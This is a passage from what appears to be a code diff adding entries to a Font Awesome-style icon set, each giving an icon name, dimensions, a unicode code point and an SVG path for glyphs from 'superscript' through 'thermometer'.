49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z" ], + superscript: [ 512, 512, [], "f12b", "M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" ], + surprise: [ 496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + swatchbook: [ 512, 512, [], "f5c3", "M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z" ], + swimmer: [ 640, 512, [], "f5c4", "M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z" ], + "swimming-pool": [ 640, 512, [], "f5c5", "M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z" ], + synagogue: [ 640, 512, [], "f69b", "M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z" ], + sync: [ 512, 512, [], "f021", "M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z" ], + "sync-alt": [ 512, 512, [], "f2f1", "M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z" ], + syringe: [ 512, 512, [], "f48e", "M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z" ], + table: [ 512, 512, [], "f0ce", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z" ], + "table-tennis": [ 512, 512, [], "f45d", "M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z" ], + tablet: [ 448, 512, [], "f10a", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "tablet-alt": [ 448, 512, [], "f3fa", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z" ], + tablets: [ 640, 512, [], "f490", "M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z" ], + "tachometer-alt": [ 576, 512, [], "f3fd", "M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + tag: [ 512, 512, [], "f02b", "M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" ], + tags: [ 640, 512, [], "f02c", "M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z" ], + tape: [ 640, 512, [], "f4db", "M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z" ], + tasks: [ 512, 512, [], "f0ae", "M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + taxi: [ 512, 512, [], "f1ba", "M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + teeth: [ 640, 512, [], "f62e", "M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z" ], + "teeth-open": [ 640, 512, [], "f62f", "M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z" ], + "temperature-high": [ 512, 512, [], "f769", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" ], + "temperature-low": [ 512, 512, [], "f76b", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" ], + tenge: [ 384, 512, [], "f7d7", "M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z" ], + terminal: [ 640, 512, [], "f120", "M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z" ], + "text-height": [ 576, 512, [], "f034", "M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z" ], + "text-width": [ 448, 512, [], "f035", "M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z" ], + th: [ 512, 512, [], "f00a", "M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z" ], + "th-large": [ 512, 512, [], "f009", "M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z" ], + "th-list": [ 512, 512, [], "f00b", "M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z" ], + "theater-masks": [ 640, 512, [], "f630", "M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z" ], + thermometer: [ 512, 512, [], "f491", "M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 